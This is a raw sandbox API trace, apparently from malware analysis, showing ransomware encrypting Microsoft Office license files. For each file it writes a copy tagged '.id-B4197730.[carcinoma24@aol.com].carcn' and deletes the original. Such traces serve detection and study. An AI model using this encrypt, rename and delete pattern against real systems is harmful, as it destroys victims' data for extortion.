lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.528] lstrlenW (lpString=".bz2") returned 4 [0286.528] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.528] lstrlenW (lpString=".7z") returned 3 [0286.528] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.528] lstrlenW (lpString=".dbf") returned 4 [0286.528] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.528] lstrlenW (lpString=".1cd") returned 4 [0286.528] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.528] lstrlenW (lpString=".jpg") returned 4 [0286.528] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.528] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.528] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0286.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.529] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19966) returned 1 [0286.529] CloseHandle (hObject=0x49c) returned 1 [0286.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0286.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.530] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.530] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0286.531] GetLastError () returned 0x0 [0286.531] ReadFile (in: hFile=0x49c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0286.537] WriteFile (in: hFile=0x528, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0286.538] ReadFile (in: hFile=0x49c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.538] WriteFile (in: hFile=0x528, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.538] SetEndOfFile (hFile=0x528) returned 1 [0286.539] CloseHandle (hObject=0x528) returned 1 [0286.539] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.539] SetEndOfFile (hFile=0x49c) returned 1 [0286.552] CloseHandle (hObject=0x49c) returned 1 [0286.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0286.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.553] lstrlenW (lpString=".doc") returned 4 [0286.553] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.553] lstrlenW (lpString=".docx") returned 5 [0286.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.553] lstrlenW (lpString=".pdf") returned 4 [0286.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.553] lstrlenW (lpString=".xls") returned 4 [0286.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".xlsx") returned 5 [0286.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.554] lstrlenW (lpString=".ppt") returned 4 [0286.554] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString=".zip") returned 4 [0286.554] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".rar") returned 4 [0286.554] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".bz2") returned 4 [0286.554] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".7z") returned 3 [0286.554] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString=".dbf") returned 4 [0286.554] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString=".1cd") returned 4 [0286.554] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString=".jpg") returned 4 [0286.554] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.554] lstrlenW (lpString=".doc") returned 4 [0286.554] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".docx") returned 5 [0286.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.554] lstrlenW (lpString=".pdf") returned 4 [0286.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.554] lstrlenW (lpString=".xls") returned 4 [0286.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString=".xlsx") returned 5 [0286.555] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.555] lstrlenW (lpString=".ppt") returned 4 [0286.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.555] lstrlenW (lpString=".zip") returned 4 [0286.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString=".rar") returned 4 [0286.555] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString=".bz2") returned 4 [0286.555] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString=".7z") returned 3 [0286.555] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.555] lstrlenW (lpString=".dbf") returned 4 [0286.555] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.555] lstrlenW (lpString=".1cd") returned 4 [0286.555] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0286.555] lstrlenW (lpString=".jpg") returned 4 [0286.555] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.555] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.555] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33 [0286.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.556] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10667) returned 1 [0286.556] CloseHandle (hObject=0x49c) returned 1 [0286.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0286.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.557] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.557] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0286.557] GetLastError () returned 0x0 [0286.557] ReadFile (in: hFile=0x49c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x29ab, lpOverlapped=0x0) returned 1 [0286.570] WriteFile (in: hFile=0x528, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0286.571] ReadFile (in: hFile=0x49c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.571] WriteFile (in: hFile=0x528, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0286.571] SetEndOfFile (hFile=0x528) returned 1 [0286.572] CloseHandle (hObject=0x528) returned 1 [0286.572] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.572] SetEndOfFile (hFile=0x49c) returned 1 [0286.574] CloseHandle (hObject=0x49c) returned 1 [0286.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0286.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.575] lstrlenW (lpString=".doc") returned 4 [0286.575] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.575] lstrlenW (lpString=".docx") returned 5 [0286.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.576] lstrlenW (lpString=".pdf") returned 4 [0286.576] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".xls") returned 4 [0286.576] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".xlsx") returned 5 [0286.576] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.576] lstrlenW (lpString=".ppt") returned 4 [0286.576] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString=".zip") returned 4 [0286.576] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".rar") returned 4 [0286.576] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".bz2") returned 4 [0286.576] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".7z") returned 3 [0286.576] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString=".dbf") returned 4 [0286.576] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString=".1cd") returned 4 [0286.576] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString=".jpg") returned 4 [0286.576] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.576] lstrlenW (lpString=".doc") returned 4 [0286.576] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.576] lstrlenW (lpString=".docx") returned 5 [0286.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.577] lstrlenW (lpString=".pdf") returned 4 [0286.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString=".xls") returned 4 [0286.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString=".xlsx") returned 5 [0286.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.577] lstrlenW (lpString=".ppt") returned 4 [0286.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.577] lstrlenW (lpString=".zip") returned 4 [0286.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString=".rar") returned 4 [0286.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString=".bz2") returned 4 [0286.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString=".7z") returned 3 [0286.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.577] lstrlenW (lpString=".dbf") returned 4 [0286.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.577] lstrlenW (lpString=".1cd") returned 4 [0286.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0286.577] lstrlenW (lpString=".jpg") returned 4 [0286.577] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.577] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.577] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0286.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0286.578] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22094) returned 1 [0286.578] CloseHandle (hObject=0x49c) returned 1 [0286.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0286.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.096] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.096] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0287.262] GetLastError () returned 0x0 [0287.262] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x564e, lpOverlapped=0x0) returned 1 [0287.348] WriteFile (in: hFile=0x568, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x5650, lpOverlapped=0x0) returned 1 [0287.349] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.349] WriteFile (in: hFile=0x568, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x118, lpOverlapped=0x0) returned 1 [0287.349] SetEndOfFile (hFile=0x568) returned 1 [0287.350] CloseHandle (hObject=0x568) returned 1 [0287.350] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.350] SetEndOfFile (hFile=0x41c) returned 1 [0287.354] CloseHandle (hObject=0x41c) returned 1 [0287.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0287.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.356] lstrlenW (lpString=".doc") returned 4 [0287.356] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString=".docx") returned 5 [0287.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.356] lstrlenW (lpString=".pdf") returned 4 [0287.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString=".xls") returned 4 [0287.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString=".xlsx") returned 5 [0287.356] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.356] lstrlenW (lpString=".ppt") returned 4 [0287.356] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.356] lstrlenW (lpString=".zip") returned 4 [0287.356] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString=".rar") returned 4 [0287.356] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.356] lstrlenW (lpString=".bz2") returned 4 [0287.356] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.357] lstrlenW (lpString=".7z") returned 3 [0287.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.357] lstrlenW (lpString=".dbf") returned 4 [0287.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.357] lstrlenW (lpString=".1cd") returned 4 [0287.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0287.357] lstrlenW (lpString=".jpg") returned 4 [0287.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.358] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11167) returned 1 